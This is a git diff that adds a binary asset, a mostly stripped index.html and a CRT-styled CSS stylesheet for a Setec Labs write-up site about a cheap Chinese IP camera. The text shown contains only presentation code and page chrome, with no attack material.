zjth_Pytdp|l+(uIkwKzAdH?phTevPV(8J!}a=9643DtVJtQXp)=9Tsy#$f)&0(8Y( zGmb|Pjw?`P>39}c(B`32#VvIN6ye`6R_i0+_aCBltCugUzZDxofOURb)5m;byXA2i zAOu?R8>D~W3Qa2Ex*KrcD42LWl?FblZ!VW2WP2{#yAb8QZ&efLa^uNAS%3p2MR}?E zQbwQ;#KozJ3Gatm(s9N9WKDGxNxp?QgHZ4f0|yK=n0kDr(Or6=wzumV-1?4$6fP7Z zW-*g`QmLf-h#`IAS&7L77ri~tVrJ*#M8E0ro{uj15=eCX`{E!QX)m+c)zRbna&&@r zwU&2{JV=?i+GB6y*MsVygBNzRb}zDM_Gc5ju%0r!O&IJPmeK%@T=w zsq;HusRO;m4~{(?)+vTt^6Ty6$)Ms$d!*WeN6O<7l7_!JVOCX^c?Pv;KqunWqkCgBdy1{wY-M0G2cIvv zC2TQ`4ILw;$k76%Z7i9N;u#~z0l{(BR|*!ZeG#d8m$Ib<%*^(qqHTQi;j2K;%%88? zgF1?5IUup{sQLcS~*7VsBp z7eq@S_#~R-Zm}5hC7sI~t+6_B`Uir{WUU)#X&}ZxdcVCC8WX@RpwSu%(~veyn{8J) z_vj7E@YffqVs2O$ac+J;>*cN8_CkHlkAVxWL%BPTcDW0s^Mi)UJ zURmcwW7eeY+)oNW@k0gme|89Juqd#X(9MHqQjU2jNW+To5u-hdvHxwvc04Y&!$n`> z2qEfkVAFr8N17tJ{i@;;{)`#st&*w`&rQdY_Ha~ge1c_28z`35qxV*12YCw8o3N=T zd*@zz>p3;KRPz>vH~}{pPS|gC)I^Cy|Mbah!C^1piOvQI!SnRwvo}#_M%GA;d34H{ zto>9V9+X75K;j4)Q5p53uy^MzP!Hwerwz3qLcR+@8)&H;r`|7}gB!;2O!i9iLeu#x zWk$b=BHGe^dM3pk>66D`?yTgxQ(YFU!YnI&tatBzI7!2KQ%$N%jYu(25xSj8X+>7n? zViWw(dI82mf#4L&&i(G|N_*dV?6S=~2_+iQd;=Yi%?=67yG!`^-~$pYOxsf$f@^qJ~l z=psf>eBJ*9p9o@Y5cx0SyHxFei?U$2C)XNK4>D+FI&<5*gD)#4@>CS9C zGnO05a=CXfGlf9xUtI-+G0_7yT1O`|hMlj2z(9(4t9c>CWBe%uW66=rZhQyk96h$IEG*3uwvOB1jQ%V zTgM>Ek`=@-KQvq~%Nd*7k}&;v-$o{(Cl8Wr%TK?=3Eo2<`Iriql2)ov(Q-%It;Z<; z`%^f_6Rbx4h-MAlIw)rTWb$NoWX@^A-|v{o=`<%&^_I;u`(=cZ)ra>YOJ7QTq)0GR z1RC9La&&`UH!CZU2*v=t;EOChxiNRj7C3P1F z)}9bw?lhUVzjSlEfd;wG)wTop^svgeW?+{gD(BgldE8;imgZ~ijx9MYK6^ugbTla!#KRJ|T$(@j)T5dk(3@%L$uT(SJV@=}Km1n;D6Lu7n`%wGH#aN&{qm$ED z#UWtZs(yb&qC6s7vxOw zFr2{zRstZ^!j0|3?YPs+34~0iMYXBb1v6P4w*nGeKaQuJ-ANznzr?ltm{3|SwqP`t z-Q`Wf1QcZhOS}RsKXo0z1v68kHh-rRWv{7mQ7jiNnL=$lZ6C(1H@f|tJ>~xn`eD+P z%kiY(iT!LEFsMCNTAH=h49IFbk7!NL+IL=0P981uwR6`!72F#O8_UZ}djkMugBmqr zzW#0B+`&-00DfJna$Tx1VkW2lckQp5Tr52H@9f9Rz1A1hyo!}{uF$t59*(+4^EWS3 zX4)d(6D;LSaHJuYre;{=gTS*AFS~P z^6^{OW8kwyw7%7CTi0Q7(9`IJ2nKpD3$(Taw|R~@t7SUV?pa>=XRIRT2e4ME4C$1% zDeVkL?Mw&LyRy&=9eU>Xn@j6DmQzseeG-_z20_oPB}_!GI##^pxYk3lJ6mPpm2wTi zoKL^Q8wB>Hw2Vmkt_~yLv-qz@4K`$Cr4O=kF$Sxpm4flV@$d|c&Zn38z=#A-DpL|1 z-FYnqP>!}0r(VP>Oc$QUF{ zER?8?L`2OS_u`v9fh~z+$ZyDOAE!AI4~j!oGc_K6Y%9p-bXmd`9^Ns+izl2bt=OtI=*vpfKHWczVc$l&AvJ;Bx&_TGk z^6_q*H%%hha8H6S8v?p3frzJ2D2PINc(v2_NI(H@eh_gbU0Q2WRz%0fer`cuaLm4c zLaMg!O7F_d6_#4Xv;7(Gk@r-&SL3w>CwA1v8yWXDbsf(!9p;bUlN4epK|D)@(>q=VudU;@s zTxmNR)8oB)3}`$1?^rQZuiA)9VSd>H{ASUS?Kf&00JvOB6lRN$4 zk;b^i36((04J43cFcT-BXmLXv0`^H61``VVO|-!vY1>}VoP`bTUsaMA9nvhPFpMNP zHyp0`_)sUFDo6;Av98#-NC9p;H zcQTe7HY#zimb0gAkte&` zMVspep&Uw>&fg>IY@N$eU*5`uj%&u_!Em*x4qqIZGDZ;eZnRmJkPSMtRVM&T9vjiM zIbhNKGlIR}+RoVXe>wef1|Dh;$$$i*ypyA4AQDC&| zD^36tvb;$4rOtB+WgGF1Q?oTgzNIKi6$u(&R%fuo7tvl)?c(9ijn$!J3zSA%rb{Hf z0^`N3d5Xp7VSlT>Tb7qMtyuk;w2$z+rC@aOc;-@`o(ju`lP2t2-x))sk6-4@Ezj~2 zC7aob2Ylug+;k#!Rr{D#BTH^t^0c5oM3*+`GI5l8wFO5y! z>y}4(crxsQ1lkt_yo2_9pmF)eHC6{XTP-T^Ip_AzUJJe6egO9$U)q$O5Ljr;8Q~ae zcs2gzy!vea%KdXGY<*{gA_EuIvB~`t8zV#O@!U;}E0Ef}=OI{1eR?}A65xv@Ilx^w z<`Wkr;KQ2y`jac7l1s4Xc`hn}mpwsuWP%s_?$DDdMG!L>_Zw7BO<9N5AqrOkgX&ej zd7Lcb&j)AGsu#qM9ORg*nR0$#E3sU4U6RZcILv5^>WTGfG8@yF=%ky?w8_J0p>U}i zXO5=8TxlLiV}{JGkDVAlweqSjFt96QD2*lA!bu_Sq{{$Q+}&8DmxiS2)`a0;f7frZys?SYr! zcx(6v!sgAD2yz>noM1U-Z%ub2;%m0;wM4wm6uR`VMw&c5<-IwupDrtY>*A9$y(a#v z%;>hxuUkZ6@EM+u`VIR+R2m1Dt~%6u$W%2t$>P}3*t{H6gW{8fDJPva)IWrgy0vd? z)vx*TaLJp*QBT}+WE0i0H1>3oK7P`rpq$o<(%7#%jBTYva+#-S(3p$YBYCd0;9c~s zAMG|5)i~uS}H5muwMHF^>7()#QKdM8BQvF^PKp9K;a<_~43IR_hY607Q|+ z>6j*k6||LV@Wuu%hWI%*^60JSpUXY3xN}|3lx2>R#*c^*V02#8z$U{Li%uAJG*&R>=$731 z2U6r(*R#NREosbal{Xm%!DY6B!v}lo3Cl8LRSkha5;5|#GtT5Au~i7WP)iiO7F$y2 z7g#zC%mWDFNW}N+wNgs|1>%rTIjsTgQvqeP$Dc(vQqd|~- zDlK-KDETVZpKay#$U@vEds4$mR3%?D2s7|mq&4IRMAMK(iJw7lilOF=hNuPw1#2R% zErmuo{sE`UQW`iy)}$?F z)RxqJy!4r0%A<%WE1c$b9TIk7I~T2x>M8Y5%D< z&)==H42CGE>R>9eC^P1$++47pCtZ09-PA6(In1`?!B_ELx&AlI1IPa>=3!dEUwPCb zoyaOD+m3+eQHC0`CwK4S?k>mJc(1Cke-4ZJ0OZl2b=+Fdu_2@`db_kRryx^}vSFYE zo;V@&f|ZxE+zqO+j5MfiqUx3~b>Y=$vHgEWJjm3mb|vp3rzbl=%JV(lXLrj<+#!J^ z5OZ_MGmxP=X5~n!&2g#vsXk!w``?QevJ6xQYrVg<&l7IXEHEipVe#RHEoY1S_Nm$U zfnn6ydav{dU22uqK6a)FAOUS6MpE6p4}Ie6gYtW1e)@Wca$+wtfu5Mb;^U_m>xvlG z>iuYKd>*m&3-4(aej(A_xm+DgPli5dWJ6PJ_+u{LKAcuHcdLH-%4$b&)jbl2%K2Ak zqZlx5Bxzq-6txs}PKkdvu884hXkvEF<+Lh`>{izr?#={Pah(xquL)1*>n0g+`VYdf zy{N2<_C}Izu%!5XBH^xb1s(^Cl?fDzJX!M?=h7rKtyb^StaOv_aOy7@m^xUwo#;)l za-vT+Z6k`?qH4`s+1Hu7nLgf^#{9Idl$mD!zKAvPj>?Ca?dUMGAKKTP>u<;cfiW0s zu+09`>=gaFN+jtPCLr=GFSqjl2J5lZocq{yxze-uVEGg>z8P2bP0&&mH^YI2>nrW^ z%lFTo&oOP-yEK^{Me#HF@o6JXxis`X*v3$if?KQ(DJSOK!RkP; z@Qe&7%?`#yqw_}rm7U^}OzzL*%QIM1B)9A~AyfbBPirezj9IE`Q%>-}N*Tp{a8?~e zQnHOvz*z7y=HN;W6`R(GiK5EjoiB{i_|bV!M7mbEzpqdK-sc%sQ8ozP0;I`pE^c7FnfDu{j39DSKe%iR?C? zz@7S({DoHleu?g$XCFC}{@0;i=aE9iPY;eF=Qoepoom7Nd1R-fz_w=g*l>GXt$EOq zv5`{e_a&K3(^AQT!a1k>>2SZ`hInBd`<+OpypxfmYP=#C0k~5^HPc>6E?Ly#fI%=F zY`+CEnj}zHt;+1nuhx#`j5m+>U)30DX=`+&T;4b_I4Yxc)PXYQ*R z4m*1ZP@2f+@z9`o=-_&z%qmk`nV;^KiETd zt(|iK%We18Vr$*?mx`g?Y~FH{J3*_JCLSEp(|UvK06{gmmM{rTnqOK&tINr;-YLfg zXJVCmc{W){zbjVeo#`u5$MD{eDpv-=>Q}1a<#;lQN^(n4Q+Ch3zyBj zrw)v2Cp*f%y*7M4IWlMBKYf_R()(u6sIKoai!OQQ?S-a3%E@W{M$o0IFQ+IQ_X$#q zxZs^I`*#Miv9z+^Kx#i(N_@lm9sOsB4=eZA!^LLWf`YEVBq$eV!&&m-k&9cf5|kq) zzhC#53b z>YJa!8ZJC|ufg-`<=~LHTeH&JI(*kCM&Z6deEI9vJ$b6#;^ekdgdwg1Td#HE0`^5sAO-+ul0{P%MGpAlb7blA^}|ImNC zW5H-Bj)LCf$uCbJvRxvZ{_n`}FEWEaq;W>6`1s!Tw)5oCso(!cLef5#o!*#^qkrtk z`{I7B;X+7w+q(WY?=4)VZ|S>^%M{W{gw~Mk#YkeOvvuGYjU&i1Fp~g?X&l8ae;1fu_}*3y?1f!~Za-?3zM~ zbB&L~`E%@~UZ4KI#y&v*1}PAW5wfcbsmA$Vl{p;x-y55mk(?S_9fm>=qj*YpHa0tT zdkH=rl=d>?ziEF9DC~pt7k1%|ZJ%$}+uPY+C-HSuSk`=kf^}o}#FP`j@Ig101WG531jaDnb3JJb3W2-7M5@Xee``T*jL;f0#z#hmh6TVvNvGc)q1x zZgX)Ch3HWD?ZTfGr2Hp9KEFRTwpn^!6)kfG#HS^x|J+O`gMuocDf%ayP%=h-{wp;C zT9WJk(X|gzv}U$-J!iEWc$uAZDSH0HpO(87YGqyb*Cq9GS#eM5XBTBPYS*A)+0KqI zj6Vht`eJEq`7jqe1Tl~&08v_hsK)31$7T2_lAoM5d`qI-<z?N?#>mjA^;+}=7Z(@Bt@-}c4)>Bz#Qh!`LIPVuB1stF9|})L%cCSZ zCH;H)a7)1bjCgyc5Z?N5Y@bm)v(sCxMm9lzG9m3l`^dHXr!4TB82@chB6nZjnf%H5 zgJA6cxC41|g}-1p|JL099}&PNu#D_h5qYLMaPHuI9ogwR)=C&N1Ihi%!TL93C`{EloIU5Xs{QGkLqt4pA z)6CcuiBBYiatl|Vk(w;tzMd^b;Z?xH=hTIOd7}#FuG4O%#c)Swta(>jyLr?}?j=I* zj`FWG7lcixXm6XvAiFREnd#5zSz8~dp;rVl`bGknQ-n*azxfVgm)#3y9z#y``F@Zc z5!0x9*(0HX*$({j37Zm~p8`H_F@mbmuMo%4VqtP^ap3!U+nd}3(x1ce3fePnqEy)V zwIrmQ8`j(Z?a2){cup9^%g=g0P`gfEN>jgz@&I(iWRWO#f(`mQtwma?Bj)GFzk(=_ z0He7D&C9_zF6>=ys`vqCr~}|{oF>QV2f{un!NK|^&N)C8MdxZPF-T^N8gtgo#KnXT zOHsJZ@m9 zi|WG@wkPkA{bmY0Z^dA-q0YH*Cm25vQ? zaWr~l$zOSPH9kUlOtByQTH;ehcrROC%#8*-(RpFUM|>k zk;D>Kw8Qy0q9@s@qSUaa<4U1y>i9dMjFx0RF`{(eShE$f!J!@e$~{T7Tw3z0VJ*=M z*FOjdK=3LLOS)ke*@v6F(S)7X<5j(A?pzU5>2ZpylN=xL6*fq<=#LLu z)K7+(bz5JpEBC*3mLZRjn8rG3WA!IvognmJ3H9iv%Q|Uc2cdd~X|NDqPY5Z3z0Cq9 z6?y>j6kY)8y$|Q}b(2?au-AA?J`WDrP{Aw#p&eXd8!V8&N^oo~*v6PZ*)A%4N0Ey8 z{6s<9zVk}$4Y%RuFqeMBt*R&_mHS=$MV6Es;hSG{(4#0+#VT#OU$R7wlGr!a2H)8_ zE3<|%6?GB(EOx8JLdKd26Af*q@%wIIYHr^B;tpAF%eeveXElHpeKE*>k(cua5z0)$ zv$6BpdBsUzZ^828dkQdlKnKJkAU!ycKj;A!s-5KVOCyQKe>56ew1aUh8!dl{ZilwG z!jr~BDXiMmmDA>d7Qdy-R(YCOjXGBoWwF~e+wad#oflbKn~0kR`Jje}P2%i*Xt5`d zt)}^sffY=n&|6!Z6x_K#nNVu*unHYV5t^V8#Ob{oIsKR`-{x6>K7N5KJaNBjdzm%bnm7}b zI)ij8H6DFsSi~`2dlj@B&-xs@&2z_*gmqFSUyM{oAJg^`U%iC}AWk`tDwZct3FNFN zl0NVYMSY(_jN0Y3bolty3QAUQfp=V93o1&F6YX9ff)eVFFUYG{w6?QqB`oiOAPg#R z#R+yD=~Q4OLDyC;Z?^LQ7bL7Qzguf%^!$dSu{5 zFC2!LZP@IC9>Az-;bRR2Q&gGvB#KJvn<{Zd9@J1-YFE&Q&f21t5x0OVQs`#!TtaMn z=B0p4{`4wKX=+Fi6$8jUn3h!*R1&fBbNSwZqz_NAHH4<_vir^9hW27&S)!jVap67h zvC6^sioDx5UA^9b_$9_$#<%Yt-5)@ynUAA{sj1q~=G^Q)d`pt`a&xQEwZcGyacef754PlrB>`nWPun=HZVf&iz@`D{ zv%syl@pq^#fF$7$05#iY-ZfF&mP%xGIAL){L);L`9RA<;Y!yn3J~ z!s|I!w027rsFl*r$AgIDjOmWC_}p93d{+M4Jt9}ys;bj|7-1YgOF( zh{+#i_{gx0!3ysr6wSyU80jmJ@Z90*5>U2dFuF6AzMeZcS@JO0(WFOYC@ zK-E-`wc#lIZE*RO6N9ws9u@lH7BvP9nd93-m;)t5vOTlRxEZ*6-o61xTx$U3cBs!<>mM zZA{;T{I<7v`Tc~0UvCeTht$_U_aEB7QzOy0_H|jqIBlkU2XY@+vNGUBk|>gdi_f2t z%!S$<+V%lMh_CUD#IxcsyGpyyuVN+WDaxF5*dPhvj8zaE<-d-zE&%}DuD;*(J1p1V z<>f>_w5l2|*Zjns0-t4*^GD(p??SAcZYX};QW(+2=(Z4U$Oh*ltfKaCqxg{oV zVtafiV`D*e2dq!1xHRNvi{^OtR{Sl6w#F*47wzHY><#_EV3)A<`2FWy5~QI8)L_9F zrntvJ%ZNNb3{niUS60?E-w{p4A(=i`ZMhIS&Gfcp8Tez)c;nRx`)+p+=kf9PmYtNAkXrOGAFc?TdiMI zjTB&!yE;drGU%xO77)2IJyc_x*&i;1$_kc1^%I8;i=zM7UW5H+A;lHA$y{D5|_5&Xf8*}u92TW^fpkE-{(pOrI$4@M^dxV$5kZLL@^6lEFCT>=75%Tx)(%eBo7`;5lqBY-0dzc6Z zyMZ3|yhRi4!FS!vJ5akYqZTg45eE%Z#hvixLc;rtPT#Hy*nVjV$h?|)QcWl-A`}2Q zH;E6;?$m@w9SNvg4Y5=*Ji)JmE%|!kVWIyxes6gkzuP5Sz4B=eAt#oyUHn{(M#Un4 zlwKd=&`n8(5lEc*@oEGmywjc$dEJKMA{Hq3d!lTHi6m#A>=aj!&y-b+ceC)R1B?7N zc*r;|Uz}}$HeIIJjKS5AOp^bHj?p#hW+xz&GzMxWiIS+s&UaG>mk1J_CgRHO(<3fH z{9AYCKGpxLu#H<91+z8n23)j62GDEorjc&)vF2&5KKn)qQ3&hBYI zKr1NFW>Oh7(Kj%ec(;bbe~&13A>XFJtq6SZ3OPi=-}CC+SV(f8_koWDt~=k_X~bx@ zQn>YO;}kN!9uDlTDtf(FxfmZHw;`GFSIA;y)2fQ?l*4W|B%Y2Ukic{u&$spc$UR1v zcnpl&03*oYNN55U#){9SN0#Bk%SkyAxQxbTF}$Y`Sf<6vvhv=DWulCV!Fpf+k+wLA zYtc&M1utRGvWAq0vq^V1k6lYmo4hY=db*%%MKv#GF$qhQ^re}}ysdkG6uKlyt#Y{t z(w=N3|AD>`pCbMHlbRzkAhU3zPX`H(e+DDor_QQW!zbEs7o$8g641| zEW3<<=G2X$b4Cl;i2#<^cYY$GXCUf=HzFP*2+|N}fxlTq-j4qH*P(qU%9HV`_ zpf@(!M^Sphq7<(Q$W+t$%z%R^YsnQ9Cu$qch*cS!baaebHq=UyWcR}q@Wu|d^xcZT zq`k<$$Dwr0c^A@j>QyxN7vzpyd*Ll<(+xbbC|drM;kO5p$`F3*f-DO_&&(5U z>97dUm&k>4_Dv@2iD^&PypPVTSNB%rr{)mxG>FQJY34y`POv@cY|%0p;8r|2^bLa2hC+@HMA~) zZebfV$TtN8wyzyb_apPrpYWnN9i*$n>y`nBH@FdjXLp<#g15bBxdAW?R6EP=bI?`g z_Om6*#KBpW{X?e-(VwgMe>I~yy6pA2pZ+Kv~2W2im~<}m*YLjQtdJ-b$&$}-!t zUl?Q{lfxYu{N7ShPwFqQWXdM5OtVJ=XwVO^mj# zdZoWUi)SFWJ3u>itS;({a-6rUOfxc6*tolW&wV&<6JY-vsqJUCF$i+Q;VtNModlfyjN^n?`m=fVqGuC zE}d{^qU@x5w%q(O(lNRrVS|P@mGpy{VxfsYmuIwNDvE9pwf&SKfEd%T39CpU&Um4Z zBr3fZse3&C1Xy%;i@uv+1c8cN&W1JHE;s&p+mt&ZM!P<{IGB;Ni`j1G=T~KI!PddY z9-c39mg_LjH4R|nATv4l3FotD7Me46$Jr%SoT1l9CFJxnsn28ku{bRgO7$ts=Wn2v z{i5m@0$=t;#d_;Z29d~C`e0HQNZU6hCdg(h+Idm9xrR7U0RUJ-+i@Z z`M?2^BL1$&r#Y$KtV5oiOU^J&bQ7*Mhl3alU=|<;wvr~&*L;}@ug9`SZSMq&Or=!3 zd%Hqn(1dP?@widjogiUjCey;RH|^b$=Y-wYJ)cJKDWolan(hywM3e8jBpAo&1jbOb zt`b!p6&k%BYh3rI9-Z-;^N3-3@R3t6Heo)OcoG5%Cpg5Cmhu?kpEHtr&CVRm+6y=k zQfimuPZJuVTTy_y21W2d{^6-VU2?=X_Y$!c>9?M&(Ye0WX71jR5fqX-@8~&B*gD0@ zy9Wfk%)dpO<2&*2TDorBqNVUM82g6x|` zKq(8o?!%ICile18MLwg!WpVEy*Cc#EfYSDLk;*a6Y)q>F$)A213qo z_Z?T|()v>P$Q+GP3#fgF7S?%6L zjoBdxAwI4Gn||lg#+DkGyhs_mPk8@yoAtw-ik%gLRAVDo;of>id~R{jh)Wid&JHAg=JHbymF3YFbro_l8CHxc?cLnaj{(K6ml)zrI(hWX8ecw;{n zRZR2R{`S*XhdSy*8nSwTJ217h4;D%)`Z#Dthz*7g1Ilv(WMKX&+=*-9KA|t3ew_C> z*7?h{>+nZS-e?$)Z-bRaildtK0!pBpM~d%crf8N;R*eCDVU4G2XPz4JQuZG*B?^{3 z(VdY^zS32)-+9U!w!5@2{pDyUdoZ3krVVf17FJT zETxJq4_t$^t&4g!^GPxRdhjFUwf|sC5o29*r6Z z=|HZ~1Q!~%yJ;;eegxOh4I3c-4;GkYG&wAtG7Ag#kriEmjYymRl1Bum0~K&pVM;<_ s{Dr6ffxh^_K(zc<{9 literal 0 HcmV?d00001 diff --git a/site/index.html b/site/index.html new file mode 100644 index 0000000..8e5e24a --- /dev/null +++ b/site/index.html @@ -0,0 +1,832 @@ + + + + + + CAMHAK :: Inside a $30 Chinese IP Camera — Setec Labs + + + + + + +
+
+
+ +
+
UPLINKSECURE
+
NODECAMHAK-01
+
TIME--:--:--
+
USERguest@setec
+
+ +
+ + + + diff --git a/site/style.css b/site/style.css new file mode 100644 index 0000000..69c0053 --- /dev/null +++ b/site/style.css @@ -0,0 +1,730 @@ +/* ───────────────────────────────────────────────────────── + camhak.seteclabs.io — extends seteclabs.io/style.css + Aesthetic: phosphor CRT, elevated. Boot sequence, decrypt + reveals, pulsing severity badges, glitch hero, custom cursor. + ───────────────────────────────────────────────────────── */ + +:root { + --green: #00ff41; + --green-dim: #00cc33; + --green-dark: #009922; + --green-deep: #004d11; + --bg: #050605; + --bg-light: #0c0e0c; + --bg-soft: #08140a; + --border: #00ff4133; + --text: #00ff41; + --text-dim: #00aa2a; + --link: #00ffaa; + --link-hover: #ffffff; + --red: #ff3344; + --red-glow: #ff334466; + --amber: #ffb000; + --info: #5ec8ff; +} + +html, body { + background: var(--bg); + cursor: crosshair; +} + +/* override the inherited body for sharper black */ +body { + background: radial-gradient(ellipse at center, #061008 0%, #020302 70%, #000 100%); + position: relative; + overflow-x: hidden; +} + +/* ─── ATMOSPHERICS ──────────────────────────────────────── */ + +/* fine grain noise */ +.grain { + position: fixed; + inset: 0; + pointer-events: none; + z-index: 9998; + opacity: 0.10; + mix-blend-mode: overlay; + background-image: url("data:image/svg+xml;utf8,"); +} + +/* corner vignette */ +.vignette { + position: fixed; + inset: 0; + pointer-events: none; + z-index: 9997; + background: radial-gradient(ellipse at center, transparent 40%, rgba(0,0,0,0.7) 100%); +} + +/* CRT bezel — subtle inset shadow simulating screen curvature */ +.bezel { + position: fixed; + inset: 0; + pointer-events: none; + z-index: 9996; + box-shadow: + inset 0 0 120px rgba(0, 30, 0, 0.6), + inset 0 0 60px rgba(0, 255, 65, 0.05); + border-radius: 12px; +} + +/* ─── HUD ───────────────────────────────────────────────── */ +#hud { + position: fixed; + top: 14px; + right: 18px; + z-index: 100; + font-family: 'Share Tech Mono', monospace; + font-size: 11px; + color: var(--text-dim); + text-align: right; + background: rgba(0, 10, 0, 0.6); + border: 1px solid var(--green-deep); + padding: 8px 12px; + letter-spacing: 1px; + text-shadow: 0 0 6px var(--green-deep); +} + +.hud-row { + display: flex; + justify-content: flex-end; + gap: 8px; + margin: 1px 0; +} + +.hud-key { + color: var(--text-dim); + opacity: 0.7; +} + +.hud-val { + color: var(--green); +} + +.hud-blink { + color: var(--green); + animation: hud-pulse 1.4s ease-in-out infinite; +} + +@keyframes hud-pulse { + 0%, 100% { opacity: 0.3; text-shadow: 0 0 2px var(--green); } + 50% { opacity: 1; text-shadow: 0 0 12px var(--green), 0 0 4px var(--green); } +} + +/* ─── BOOT TERMINAL ─────────────────────────────────────── */ +#boot { + font-family: 'Share Tech Mono', monospace; + font-size: 11px; + color: var(--text-dim); + margin: 30px 0 10px 0; + min-height: 8em; + white-space: pre-wrap; + text-shadow: 0 0 6px var(--green-deep); + letter-spacing: 0.5px; + line-height: 1.5; +} +#boot .ok { color: var(--green); } +#boot .warn { color: var(--amber); } +#boot .err { color: var(--red); } +#boot .cur { animation: cur 0.8s steps(1) infinite; } + +@keyframes cur { + 50% { opacity: 0; } +} + +/* ─── HERO LOGO + GLITCH ───────────────────────────────── */ +#ascii-logo { + text-align: center; + margin: 18px 0 6px 0; + font-family: 'Courier New', monospace; + font-size: 11px; + line-height: 1.05; + color: var(--green); + white-space: pre; + text-shadow: + 0 0 4px var(--green), + 0 0 14px var(--green), + 0 0 30px var(--green-deep), + 0 0 50px var(--green-deep); + letter-spacing: 1px; + position: relative; + animation: hero-fade-in 1.4s ease-out 0.4s both; +} + +@keyframes hero-fade-in { + 0% { opacity: 0; filter: blur(8px); transform: translateY(-6px); } + 60% { opacity: 1; filter: blur(0); } + 100% { opacity: 1; filter: blur(0); transform: translateY(0); } +} + +/* RGB-split glitch on hover */ +.glitch { + position: relative; +} + +.glitch::before, .glitch::after { + content: attr(data-text); + position: absolute; + top: 0; left: 0; right: 0; + font-family: inherit; + font-size: inherit; + line-height: inherit; + color: var(--green); + pointer-events: none; + opacity: 0; +} + +#ascii-logo:hover { + animation: glitch-shake 0.4s linear; +} + +@keyframes glitch-shake { + 0%, 100% { transform: translate(0,0); } + 10% { transform: translate(-2px, 1px); filter: hue-rotate(-15deg); } + 20% { transform: translate(2px, -1px); } + 30% { transform: translate(-1px, 2px); filter: hue-rotate(15deg); } + 40% { transform: translate(1px, -2px); } + 50% { transform: translate(-2px, -1px); } + 60% { transform: translate(2px, 1px); filter: hue-rotate(-25deg); } + 70% { transform: translate(-1px, -2px); } + 80% { transform: translate(1px, 2px); } + 90% { transform: translate(0,0); filter: hue-rotate(0); } +} + +#tagline { + text-align: center; + font-family: 'VT323', monospace; + font-size: 22px; + color: var(--green); + margin: 12px 0 6px 0; + text-shadow: 0 0 18px var(--green), 0 0 4px var(--green); + letter-spacing: 4px; + text-transform: uppercase; + animation: hero-fade-in 1.2s ease-out 0.9s both; +} + +.byline { + text-align: center; + color: var(--text-dim); + font-size: 11px; + letter-spacing: 3px; + text-transform: uppercase; + margin-bottom: 12px; + animation: hero-fade-in 1.2s ease-out 1.2s both; +} + +/* ─── NAV ───────────────────────────────────────────────── */ +nav { + text-align: center; + margin: 18px 0; + padding: 10px 0; + border-top: 1px dashed var(--green-deep); + border-bottom: 1px dashed var(--green-deep); + animation: hero-fade-in 1s ease-out 1.5s both; +} + +nav a { + color: var(--link); + text-decoration: none; + margin: 0 10px; + font-size: 12px; + letter-spacing: 2px; + text-transform: uppercase; + position: relative; + transition: color 0.2s, text-shadow 0.2s; +} + +nav a:hover { + color: #fff; + text-shadow: 0 0 12px var(--green), 0 0 2px #fff; +} + +nav a:hover::before { + content: '> '; + color: var(--green); +} + +/* ─── DIVIDERS ──────────────────────────────────────────── */ +.divider { + border: none; + border-top: 1px solid var(--green-deep); + margin: 24px 0; + opacity: 0.55; + position: relative; +} +.divider::after { + content: ''; + position: absolute; + left: 50%; + top: -3px; + width: 8px; + height: 5px; + background: var(--green); + transform: translateX(-50%); + box-shadow: 0 0 8px var(--green); +} + +.divider-heavy { + border: none; + border-top: 2px solid var(--green); + margin: 28px 0; + box-shadow: 0 0 12px var(--green-deep); +} + +/* ─── SECTIONS w/ DECRYPT REVEAL ────────────────────────── */ +.section { + margin: 30px 0; + padding: 18px 22px; + border-left: 2px solid var(--green-deep); + position: relative; +} + +.section::before { + content: ''; + position: absolute; + left: -2px; top: 0; bottom: 0; + width: 2px; + background: var(--green); + box-shadow: 0 0 12px var(--green); + transform: scaleY(0); + transform-origin: top; + transition: transform 0.6s ease-out; +} +.section.in-view::before { transform: scaleY(1); } + +.section-title { + font-family: 'VT323', monospace; + font-size: 26px; + color: var(--green); + margin-bottom: 18px; + text-shadow: 0 0 14px var(--green-dark), 0 0 4px var(--green); + letter-spacing: 3px; +} +.section-title::before { + content: '> '; + color: var(--text-dim); +} +.section-title .counter { + font-size: 14px; + color: var(--text-dim); + letter-spacing: 2px; +} + +/* Reveal animation for sections — one-shot when in-view */ +.reveal { + opacity: 0; + transform: translateY(14px); + transition: opacity 0.7s ease-out, transform 0.7s ease-out; +} +.reveal.in-view { + opacity: 1; + transform: translateY(0); +} + +/* ─── TEXT BLOCKS ──────────────────────────────────────── */ +.text-block { + color: var(--green-dim); + font-size: 14px; + line-height: 1.7; +} +.text-block p { margin-bottom: 14px; } +.text-block .muted { color: var(--text-dim); font-size: 12px; } +.text-block .small { font-size: 11px; } + +.hl { + color: var(--green); + text-shadow: 0 0 8px var(--green-dark); + font-weight: bold; +} + +code { + font-family: 'Share Tech Mono', monospace; + background: var(--bg-soft); + padding: 1px 6px; + border: 1px solid var(--green-deep); + color: var(--link); + font-size: 12px; + white-space: nowrap; +} + +.codeblock { + background: linear-gradient(180deg, #050b06 0%, #030503 100%); + border: 1px solid var(--green-deep); + border-left: 3px solid var(--green); + padding: 16px 20px; + margin: 14px 0; + font-family: 'Share Tech Mono', monospace; + font-size: 12.5px; + color: var(--green-dim); + white-space: pre; + overflow-x: auto; + line-height: 1.6; + box-shadow: + inset 0 0 24px rgba(0, 80, 20, 0.18), + 0 0 16px rgba(0, 100, 30, 0.05); +} +.codeblock .k { color: var(--green); text-shadow: 0 0 6px var(--green-dark); } +.codeblock .dim { color: var(--text-dim); } + +/* ─── FINDINGS TABLE ───────────────────────────────────── */ +table.findings { + width: 100%; + border-collapse: collapse; + margin: 16px 0; + font-size: 13px; + background: rgba(0, 12, 4, 0.4); + border: 1px solid var(--green-deep); +} + +table.findings th { + text-align: left; + padding: 9px 12px; + border-bottom: 1px solid var(--green); + color: var(--green); + font-family: 'VT323', monospace; + font-size: 17px; + letter-spacing: 2px; + text-transform: uppercase; + text-shadow: 0 0 8px var(--green-dark); + background: rgba(0, 30, 10, 0.6); +} + +table.findings td { + padding: 7px 12px; + border-bottom: 1px dashed var(--green-deep); + color: var(--green-dim); + vertical-align: middle; +} + +table.findings tbody tr { + transition: background 0.15s; +} +table.findings tbody tr:hover { + background: rgba(0, 60, 18, 0.35); +} +table.findings tbody tr:hover td { color: var(--green); } + +table.findings .col-id { width: 50px; color: var(--text-dim); font-family: 'Share Tech Mono', monospace; } +table.findings .col-sev { width: 90px; } + +/* severity badges */ +.sev { + display: inline-block; + padding: 2px 8px; + font-family: 'VT323', monospace; + font-size: 13px; + letter-spacing: 1.5px; + border: 1px solid currentColor; + background: rgba(0, 0, 0, 0.4); +} +.sev-crit { + color: var(--red); + text-shadow: 0 0 8px var(--red); + border-color: var(--red); + animation: sev-pulse 1.6s ease-in-out infinite; 